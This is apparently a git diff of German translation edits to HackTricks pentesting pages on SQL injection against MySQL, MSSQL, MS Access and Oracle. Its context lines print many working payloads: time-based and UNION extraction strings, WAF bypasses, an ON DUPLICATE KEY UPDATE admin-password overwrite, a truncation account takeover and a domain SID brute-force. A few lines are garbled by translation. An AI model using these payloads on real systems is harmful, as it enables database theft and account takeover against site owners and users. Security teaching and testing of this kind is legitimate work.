In einigen Fällen **werden Sie keine Änderung** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injektionen** zu **entdecken**, die DB dazu zu bringen, Aktionen auszuführen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
|
||||
Daher werden wir in der SQL-Abfrage eine Operation anhängen, die viel Zeit in Anspruch nehmen wird:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -94,11 +93,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
In einigen Fällen werden die **Sleep-Funktionen nicht erlaubt** sein. Statt diese Funktionen zu verwenden, könnten Sie die Abfrage **komplexe Operationen** durchführen lassen, die mehrere Sekunden in Anspruch nehmen. _Beispiele für diese Techniken werden separat für jede Technologie kommentiert (sofern vorhanden)_.
|
||||
In einigen Fällen werden die **Sleep-Funktionen nicht erlaubt sein**. Statt diese Funktionen zu verwenden, könnten Sie die Abfrage **komplexe Operationen durchführen lassen**, die mehrere Sekunden in Anspruch nehmen. _Beispiele für diese Techniken werden separat für jede Technologie kommentiert (sofern vorhanden)_.
|
||||
|
||||
### Identifizierung des Back-ends
|
||||
|
||||
Der beste Weg, das Back-end zu identifizieren, besteht darin, Funktionen der verschiedenen Back-ends auszuführen. Sie könnten die _**Sleep**_ **Funktionen** aus dem vorherigen Abschnitt oder diese verwenden (Tabelle von [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Der beste Weg, um das Back-end zu identifizieren, besteht darin, Funktionen der verschiedenen Back-ends auszuführen. Sie könnten die _**Sleep**_ **Funktionen** aus dem vorherigen Abschnitt oder diese verwenden (Tabelle von [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -129,7 +128,7 @@ Der beste Weg, das Back-end zu identifizieren, besteht darin, Funktionen der ver
|
||||
Auch wenn Sie Zugriff auf die Ausgabe der Abfrage haben, könnten Sie **die Version der Datenbank ausgeben lassen**.
|
||||
|
||||
> [!NOTE]
|
||||
> In einer Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection diskutieren. Wir werden MySQL als Beispiel verwenden.
|
||||
> In der Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection diskutieren. Wir werden MySQL als Beispiel verwenden.
|
||||
|
||||
### Identifizierung mit PortSwigger
|
||||
|
||||
@ -169,7 +168,7 @@ Wählen Sie immer mehr null-Werte aus, bis die Abfrage korrekt ist:
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Man sollte `null`-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist._
|
||||
_You sollten `null`-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist._
|
||||
|
||||
### Datenbanknamen, Tabellennamen und Spaltennamen extrahieren
|
||||
|
||||
@ -184,11 +183,11 @@ In den nächsten Beispielen werden wir den Namen aller Datenbanken, den Tabellen
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber es ist immer die gleiche Methodik._
|
||||
_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber die Methodik bleibt immer gleich._
|
||||
|
||||
## Ausnutzen von versteckten Union-basierten
|
||||
|
||||
Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine union-basierte Injektion unerreichbar scheint, deutet dies auf das Vorhandensein einer **versteckten union-basierten Injektion** hin. Dieses Szenario führt oft zu einer blinden Injektionssituation. Um eine blinde Injektion in eine union-basierte zu verwandeln, muss die Ausführungsabfrage im Backend erkannt werden.
|
||||
Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine union-basierte Injektion unerreichbar scheint, deutet dies auf das Vorhandensein einer **versteckten union-basierten Injektion** hin. Dieses Szenario führt oft zu einer blinden Injektionssituation. Um eine blinde Injektion in eine union-basierte umzuwandeln, muss die Ausführungsabfrage im Backend erkannt werden.
|
||||
|
||||
Dies kann durch die Verwendung von Techniken zur blinden Injektion zusammen mit den Standardtabellen, die spezifisch für Ihr Ziel-Datenbankmanagementsystem (DBMS) sind, erreicht werden. Um diese Standardtabellen zu verstehen, wird empfohlen, die Dokumentation des Ziel-DBMS zu konsultieren.
|
||||
|
||||
@ -212,7 +211,7 @@ In diesem Fall können Sie dieses Verhalten ausnutzen, um die Datenbank Zeichen
|
||||
```
|
||||
## Ausnutzen von Error Blind SQLi
|
||||
|
||||
Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort von der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen richtig erraten:
|
||||
Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort aus der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen richtig erraten:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
@ -224,9 +223,9 @@ In diesem Fall **gibt es** keine Möglichkeit, die **Antwort** der Abfrage basie
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Sie können gestapelte Abfragen verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben werden**. Daher ist diese Technik hauptsächlich im Zusammenhang mit **blinden Schwachstellen** nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
|
||||
Sie können gestapelte Abfragen verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben** werden. Daher ist diese Technik hauptsächlich im Zusammenhang mit **blinden Schwachstellen** nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
|
||||
|
||||
**Oracle** unterstützt **gestapelte Abfragen nicht.** **MySQL, Microsoft** und **PostgreSQL** unterstützen sie: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** unterstützt **gestapelte Abfragen** nicht. **MySQL, Microsoft** und **PostgreSQL** unterstützen sie: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
@ -311,13 +310,13 @@ Dazu sollten Sie versuchen, **ein neues Objekt mit dem Namen des "Master-Objekts
|
||||
|
||||
- Benutzer mit dem Namen erstellen: **AdMIn** (Groß- und Kleinbuchstaben)
|
||||
- Einen Benutzer mit dem Namen erstellen: **admin=**
|
||||
- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder in der E-Mail gibt) --> Benutzer mit dem Namen erstellen: **admin \[viele Leerzeichen] a**
|
||||
- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder der E-Mail gibt) --> Benutzer mit dem Namen erstellen: **admin \[viele Leerzeichen] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Wenn die Datenbank anfällig ist und die maximale Anzahl von Zeichen für den Benutzernamen beispielsweise 30 beträgt und Sie den Benutzer **admin** impersonieren möchten, versuchen Sie, einen Benutzernamen mit dem Namen: "_admin \[30 Leerzeichen] a_" und einem beliebigen Passwort zu erstellen.
|
||||
|
||||
Die Datenbank wird **überprüfen**, ob der eingegebene **Benutzername** **in** der Datenbank **existiert**. Wenn **nicht**, wird sie den **Benutzernamen** auf die **maximal erlaubte Anzahl von Zeichen** (in diesem Fall auf: "_admin \[25 Leerzeichen]_") **kürzen** und dann wird sie **automatisch alle Leerzeichen am Ende entfernen, indem sie** den Benutzer "**admin**" in der Datenbank mit dem **neuen Passwort** aktualisiert (einige Fehler könnten auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
|
||||
Die Datenbank wird **überprüfen**, ob der eingegebene **Benutzername** **in** der Datenbank **existiert**. Wenn **nicht**, wird sie den **Benutzernamen** auf die **maximal erlaubte Anzahl von Zeichen** (in diesem Fall auf: "_admin \[25 Leerzeichen]_") **kürzen** und dann wird sie **automatisch alle Leerzeichen am Ende entfernen und** den Benutzer "**admin**" in der Datenbank mit dem **neuen Passwort** aktualisieren (einige Fehler könnten auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
|
||||
|
||||
Weitere Informationen: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
@ -325,7 +324,7 @@ _Hinweis: Dieser Angriff wird in den neuesten MySQL-Installationen nicht mehr wi
|
||||
|
||||
### MySQL Insert zeitbasierte Überprüfung
|
||||
|
||||
Fügen Sie so viele `','',''` hinzu, wie Sie für notwendig halten, um die VALUES-Anweisung zu verlassen. Wenn eine Verzögerung ausgeführt wird, haben Sie eine SQL-Injection.
|
||||
Fügen Sie so viele `','',''` hinzu, wie Sie für notwendig halten, um die VALUES-Anweisung zu beenden. Wenn eine Verzögerung ausgeführt wird, haben Sie eine SQL-Injection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
@ -333,7 +332,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
|
||||
Die `ON DUPLICATE KEY UPDATE`-Klausel in MySQL wird verwendet, um Aktionen anzugeben, die die Datenbank ausführen soll, wenn ein Versuch unternommen wird, eine Zeile einzufügen, die zu einem doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY führen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administratorkontos zu ändern:
|
||||
|
||||
Beispiel Payload-Injektion:
|
||||
Beispiel-Payload-Injektion:
|
||||
|
||||
Eine Injektions-Payload könnte wie folgt erstellt werden, wobei versucht wird, zwei Zeilen in die `users`-Tabelle einzufügen. Die erste Zeile ist eine Ablenkung, und die zweite Zeile zielt auf die E-Mail eines bestehenden Administrators ab, mit der Absicht, das Passwort zu aktualisieren:
|
||||
```sql
|
||||
@ -341,7 +340,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
|
||||
```
|
||||
So funktioniert es:
|
||||
|
||||
- Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine für `admin_generic@example.com`.
|
||||
- Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine andere für `admin_generic@example.com`.
|
||||
- Wenn die Zeile für `admin_generic@example.com` bereits existiert, wird die Klausel `ON DUPLICATE KEY UPDATE` ausgelöst, die MySQL anweist, das Feld `password` der vorhandenen Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
|
||||
- Folglich kann die Authentifizierung dann mit `admin_generic@example.com` und dem Passwort, das dem bcrypt-Hash entspricht, versucht werden ("bcrypt_hash_of_newpassword" steht für den bcrypt-Hash des neuen Passworts, der durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden sollte).
|
||||
|
||||
@ -409,7 +408,7 @@ Keine Leerzeichen - Umgehung mit Klammern
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Kein Komma-Bypass
|
||||
### Kein Komma Bypass
|
||||
|
||||
Kein Komma - Bypass unter Verwendung von OFFSET, FROM und JOIN
|
||||
```
|
||||
@ -425,7 +424,7 @@ Blacklist unter Verwendung von Schlüsselwörtern - Umgehung durch Groß-/Kleins
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Blacklist unter Verwendung von Schlüsselwörtern, Groß-/Kleinschreibung ignorierend - Umgehung mit einem äquivalenten Operator
|
||||
Blacklist unter Verwendung von Schlüsselwörtern, nicht groß-/kleinschreibungsempfindlich - Umgehung mit einem äquivalenten Operator
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -458,7 +457,7 @@ Oder durch die Verwendung eines **Comma Bypass**:
|
||||
```
|
||||
Dieser Trick wurde von [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) entnommen.
|
||||
|
||||
### WAF-Bypass-Vorschlag-Tools
|
||||
### WAF-Bypass-Vorschlagstools
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
### String Concatenation
|
||||
|
||||
Stringverkettung ist mit den Zeichen `& (%26)` und `+ (%2b)` möglich.
|
||||
Stringverkettung ist möglich mit den Zeichen `& (%26)` und `+ (%2b)`.
|
||||
```sql
|
||||
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
||||
1' UNION SELECT 'web' %26 'app' FROM table%00
|
||||
@ -56,7 +56,7 @@ Stellen Sie sich vor, Sie haben eine SQLi in einer MS Access-Datenbank und Sie w
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Wenn Sie den **Namen der Tabelle** und **Spalte** kennen, die Sie dumpen möchten, können Sie eine Kombination aus `Mid`, `LAST` und `TOP` verwenden, um **alle Informationen** über boolean SQLi zu **leaken**:
|
||||
Wenn Sie den **Namen der Tabelle** und **Spalte** kennen, die Sie dumpen möchten, können Sie eine Kombination aus `Mid`, `LAST` und `TOP` verwenden, um **alle Informationen** über boolesche SQLi zu **leaken**:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
@ -64,7 +64,7 @@ _Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen._
|
||||
|
||||
### Brute-Forcing von Tabellennamen
|
||||
|
||||
Mit der Chaining-Equals-Technik können Sie auch **Tabellennamen bruteforcen** mit etwas wie:
|
||||
Mit der Technik des verknüpften Gleichheitszeichens können Sie auch **Tabellennamen bruteforcen** mit etwas wie:
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
@ -87,7 +87,7 @@ Oder mit einem **group by**:
|
||||
```sql
|
||||
-1' GROUP BY column_name%00
|
||||
```
|
||||
Oder Sie können die Spaltennamen einer **anderen Tabelle** mit:
|
||||
Oder Sie können die Spaltennamen einer **anderen Tabelle** mit Folgendem brute-forcen:
|
||||
```sql
|
||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||
|
||||
@ -130,9 +130,9 @@ Es ist jedoch zu beachten, dass es sehr typisch ist, SQL-Injection zu finden, wo
|
||||
|
||||
## Dateisystemzugriff
|
||||
|
||||
### Voller Pfad des Web-Stammverzeichnisses
|
||||
### Vollständiger Pfad des Web-Stammverzeichnisses
|
||||
|
||||
Das Wissen um den **absoluten Pfad des Web-Stammverzeichnisses kann weitere Angriffe erleichtern**. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht existierenden Datenbank auszuwählen.
|
||||
Das Wissen um den **absoluten Pfad des Web-Stammverzeichnisses kann weitere Angriffe erleichtern**. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen.
|
||||
|
||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
@ -140,7 +140,7 @@ MS Access antwortet mit einer **Fehlermeldung, die den vollständigen Pfad des W
|
||||
|
||||
### Dateenumeration
|
||||
|
||||
Der folgende Angriffsvektor kann verwendet werden, um **die Existenz einer Datei im Remote-Dateisystem zu erschließen**. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die besagt, dass das Datenbankformat ungültig ist:
|
||||
Der folgende Angriffsvektor kann verwendet werden, um **die Existenz einer Datei im Remote-Dateisystem zu erschließen**. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die informiert, dass das Datenbankformat ungültig ist:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@ Es kann möglich sein, **Domänenbenutzer über SQL-Injection innerhalb eines MS
|
||||
- **`SELECT DEFAULT_DOMAIN()`**: Aktuellen Domänennamen abrufen.
|
||||
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Wenn Sie den Namen der Domäne (_DOMAIN_ in diesem Beispiel) kennen, gibt diese Funktion die **SID des Benutzers Administrator** im Hex-Format zurück. Dies sieht aus wie `0x01050000000[...]0000f401`, beachten Sie, wie die **letzten 4 Bytes** die Zahl **500** im **Big Endian**-Format sind, was die **gemeinsame ID des Benutzers Administrator** ist.\
|
||||
Diese Funktion ermöglicht es Ihnen, **die ID der Domäne** zu erfahren (alle Bytes außer den letzten 4).
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`**: Diese Funktion gibt den **Benutzernamen der angegebenen ID** zurück (sofern vorhanden), in diesem Fall **0000e803** im Big Endian == **1000** (normalerweise ist dies die ID des ersten regulären Benutzerkontos, das erstellt wurde). Dann können Sie sich vorstellen, dass Sie Benutzer-IDs von 1000 bis 2000 brute-forcen können und wahrscheinlich alle Benutzernamen der Benutzer der Domäne erhalten. Zum Beispiel mit einer Funktion wie der folgenden:
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Diese Funktion gibt den **Benutzernamen der angegebenen ID** zurück (sofern vorhanden), in diesem Fall **0000e803** im Big Endian == **1000** (normalerweise ist dies die ID des ersten regulären Benutzerkontos, das erstellt wurde). Dann können Sie sich vorstellen, dass Sie Benutzer-IDs von 1000 bis 2000 brute-forcen können und wahrscheinlich alle Benutzernamen der Benutzer der Domäne erhalten. Zum Beispiel mit einer Funktion wie der folgenden:
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
@ -19,7 +19,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
||||
```
|
||||
## **Alternative Error-Based Vektoren**
|
||||
|
||||
Error-basierte SQL-Injektionen ähneln typischerweise Konstruktionen wie `+AND+1=@@version--` und Varianten, die auf dem «OR»-Operator basieren. Abfragen, die solche Ausdrücke enthalten, werden normalerweise von WAFs blockiert. Als Umgehung können Sie einen String mit dem %2b-Zeichen mit dem Ergebnis spezifischer Funktionsaufrufe verketten, die einen Datentypkonvertierungsfehler bei den gesuchten Daten auslösen.
|
||||
Error-basierte SQL-Injektionen ähneln typischerweise Konstruktionen wie `+AND+1=@@version--` und Varianten, die auf dem «OR»-Operator basieren. Abfragen, die solche Ausdrücke enthalten, werden normalerweise von WAFs blockiert. Um dies zu umgehen, verketten Sie einen String mit dem %2b-Zeichen und dem Ergebnis spezifischer Funktionsaufrufe, die einen Datentypkonvertierungsfehler bei den gesuchten Daten auslösen.
|
||||
|
||||
Einige Beispiele für solche Funktionen:
|
||||
|
||||
@ -99,7 +99,7 @@ Zusätzlich gibt es alternative gespeicherte Prozeduren wie `master..xp_fileexis
|
||||
|
||||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||||
|
||||
Offensichtlich könnten Sie auch **`xp_cmdshell`** verwenden, um **etwas auszuführen**, das eine **SSRF** auslöst. Für weitere Informationen **lesen Sie den entsprechenden Abschnitt** auf der Seite:
|
||||
Offensichtlich könnten Sie auch **`xp_cmdshell`** verwenden, um etwas auszuführen, das eine **SSRF** auslöst. Für weitere Informationen **lesen Sie den entsprechenden Abschnitt** auf der Seite:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
||||
@ -107,11 +107,11 @@ Offensichtlich könnten Sie auch **`xp_cmdshell`** verwenden, um **etwas auszuf
|
||||
|
||||
### MSSQL Benutzerdefinierte Funktion - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Die Erstellung einer CLR UDF (Common Language Runtime Benutzerdefinierte Funktion), die in einer beliebigen .NET-Sprache verfasster und in eine DLL kompiliert ist, um innerhalb von MSSQL benutzerdefinierte Funktionen auszuführen, ist ein Prozess, der `dbo`-Zugriff erfordert. Das bedeutet, dass es normalerweise nur möglich ist, wenn die Datenbankverbindung als `sa` oder mit einer Administratorrolle hergestellt wird.
|
||||
Die Erstellung einer CLR UDF (Common Language Runtime Benutzerdefinierte Funktion), die in einer beliebigen .NET-Sprache verfasster Code ist und in eine DLL kompiliert wird, um innerhalb von MSSQL für die Ausführung benutzerdefinierter Funktionen geladen zu werden, ist ein Prozess, der `dbo`-Zugriff erfordert. Das bedeutet, dass es normalerweise nur möglich ist, wenn die Datenbankverbindung als `sa` oder mit einer Administratorrolle hergestellt wird.
|
||||
|
||||
Ein Visual Studio-Projekt und Installationsanweisungen sind in [diesem Github-Repository](https://github.com/infiniteloopltd/SQLHttp) bereitgestellt, um das Laden der Binärdatei in MSSQL als CLR-Assembly zu erleichtern, wodurch die Ausführung von HTTP GET-Anfragen aus MSSQL heraus ermöglicht wird.
|
||||
|
||||
Der Kern dieser Funktionalität ist in der Datei `http.cs` gekapselt, die die `WebClient`-Klasse verwendet, um eine GET-Anfrage auszuführen und Inhalte wie unten dargestellt abzurufen:
|
||||
Der Kern dieser Funktionalität ist in der Datei `http.cs` gekapselt, die die Klasse `WebClient` verwendet, um eine GET-Anfrage auszuführen und Inhalte wie unten dargestellt abzurufen:
|
||||
```csharp
|
||||
using System.Data.SqlTypes;
|
||||
using System.Net;
|
||||
|
||||
@ -48,11 +48,9 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Flow
|
||||
|
||||
Denken Sie daran, dass Sie in "modernen" Versionen von **MySQL** "_**information_schema.tables**_" durch "_**mysql.innodb_table_stats**_**"** ersetzen können (Dies könnte nützlich sein, um WAFs zu umgehen).
|
||||
Denken Sie daran, dass Sie in "modernen" Versionen von **MySQL** "_**information_schema.tables**_" durch "_**mysql.innodb_table_stats**_" ersetzen können (dies könnte nützlich sein, um WAFs zu umgehen).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
@ -107,7 +105,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
|
||||
### Ausführen von Abfragen über vorbereitete Anweisungen
|
||||
|
||||
Wenn gestapelte Abfragen erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Abfrage zuweist, die man ausführen möchte (mit SET), und dann die MySQL-Anweisungen PREPARE und EXECUTE verwendet, um letztendlich die Abfrage auszuführen. Etwas wie dies:
|
||||
Wenn gestapelte Abfragen erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Abfrage zuweist, die man ausführen möchte (indem man SET verwendet), und dann die MySQL-Anweisungen PREPARE und EXECUTE verwendet, um letztendlich die Abfrage auszuführen. Etwas wie dies:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
@ -142,7 +140,7 @@ Mehr Informationen unter [https://medium.com/@terjanq/blind-sql-injection-withou
|
||||
|
||||
Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle: **sys.x$statement_analysis** lesen.
|
||||
|
||||
### Versionsalternativen**s**
|
||||
### Versionsalternativen**n**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
|
||||
@ -16,7 +16,7 @@ Diese SSRF-Methode ist auf den TCP-Port 445 beschränkt und erlaubt keine Änder
|
||||
|
||||
### Remote Code Execution (RCE) über Benutzerdefinierte Funktionen (UDF)
|
||||
|
||||
MySQL-Datenbanken bieten die Verwendung von Benutzerdefinierten Funktionen (UDF) aus externen Bibliotheksdateien an. Wenn diese Bibliotheken in bestimmten Verzeichnissen oder im `$PATH` des Systems zugänglich sind, können sie von innerhalb von MySQL aufgerufen werden.
|
||||
MySQL-Datenbanken bieten die Verwendung von Benutzerdefinierten Funktionen (UDF) aus externen Bibliotheksdateien an. Wenn diese Bibliotheken in bestimmten Verzeichnissen oder im `$PATH` des Systems zugänglich sind, können sie von MySQL aus aufgerufen werden.
|
||||
|
||||
Diese Technik ermöglicht die Ausführung von Netzwerk-/HTTP-Anfragen über eine UDF, vorausgesetzt, mehrere Bedingungen sind erfüllt, einschließlich Schreibzugriff auf das `@@plugin_dir`, `file_priv` auf `Y` gesetzt und `secure_file_priv` deaktiviert.
|
||||
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Oracle-Injektion
|
||||
# Oracle-Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Dienen Sie diesen Beitrag mit einer Wayback-Machine-Kopie des gelöschten Beitrags von [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
**Serviere diesen Beitrag eine Wayback-Maschine-Kopie des gelöschten Beitrags von [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
|
||||
## SSRF
|
||||
|
||||
@ -37,7 +37,7 @@ Die Suche ergab die folgenden Ergebnisse (nicht alle können verwendet werden, u
|
||||
- DBMS_STREAMS_ADM
|
||||
- UTL_HTTP
|
||||
|
||||
Diese grobe Suche überspringt offensichtlich Pakete wie `DBMS_LDAP` (das das Übergeben eines Hostnamens und einer Portnummer ermöglicht), da [die Dokumentationsseite](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) Sie einfach auf einen [anderen Ort](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verweist. Daher könnte es andere Oracle-Pakete geben, die missbraucht werden können, um ausgehende Anfragen zu stellen, die ich möglicherweise übersehen habe.
|
||||
Diese grobe Suche überspringt offensichtlich Pakete wie `DBMS_LDAP` (das die Übergabe eines Hostnamens und einer Portnummer ermöglicht), da [die Dokumentationsseite](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) einfach auf einen [anderen Ort](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verweist. Daher könnte es andere Oracle-Pakete geben, die missbraucht werden können, um ausgehende Anfragen zu stellen, die ich möglicherweise übersehen habe.
|
||||
|
||||
In jedem Fall werfen wir einen Blick auf einige der Pakete, die wir entdeckt und oben aufgelistet haben.
|
||||
|
||||
@ -62,7 +62,7 @@ Eine `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` zeigt, dass der Port geschlos
|
||||
|
||||
**UTL_SMTP**
|
||||
|
||||
Das `UTL_SMTP`-Paket ist zum Versenden von E-Mails über SMTP konzipiert. Das Beispiel auf der [Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine E-Mail zu senden](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Für uns ist jedoch das Interessante die Möglichkeit, eine Host- und Port-Spezifikation bereitzustellen.
|
||||
